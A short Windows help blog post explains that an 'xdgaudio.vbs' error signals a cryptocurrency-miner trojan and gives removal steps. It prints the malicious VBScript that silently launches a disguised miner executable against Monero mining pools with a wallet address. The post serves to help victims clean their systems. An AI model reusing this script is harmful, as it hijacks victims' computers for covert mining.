If you’re receiving the following error message related to “xdgaudio.vbs” in your system, then your computer is most likely infected.
Error: The system cannot find the file specified.
When edited with Notepad, the script may contain lines such as below:
Dim WShell Set WShell = CreateObject("WScript.Shell") WShell.Run "wmipvrse.exe -B --donate-level 1 -r 100 --threads 16 --cpu-priority 2 --cpu-affinity 2 -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv.App -p x -k -o stratum+tcp://mine.moneropool.com:3333 -u 42Mn2UkbubgBDSa4sk4p4GHfN1nfxw2nURQ5NQWT9xYnFiLzTYGPawKEWeQ7oG4eqiHbmvt7wqJD4bSyBzQJ7rk75aVKgRv -p x", 0 Set WShell = Nothing
This certainly looks like a CPU / cryptocurrency Miner trojan which not only slows down your computer, but also can pose a security threat. The script files c:\windows\xdgaudio.vbs and c:\windows\servicecrsssr.vbs should be deleted. That’s not enough. Run a thorough scan using Malwarebytes antimalware, and also scan with the antivirus software you’re using.
For a detailed instructions on removing such Miner Trojan, check out malwaretips.com guide How to remove CPU Miner Trojan from Windows (Virus Help Guide).
One small request: If you liked this post, please share this?One "tiny" share from you would seriously help a lot with the growth of this blog. Some great suggestions:
- Pin it!
- Share it to your favorite blog + Facebook, Reddit
- Tweet it!
About the author
Ramesh Srinivasan founded Winhelponline.com back in 2005. He is passionate about Microsoft technologies and he has been a Microsoft Most Valuable Professional (MVP) for 10 consecutive years from 2003 to 2012.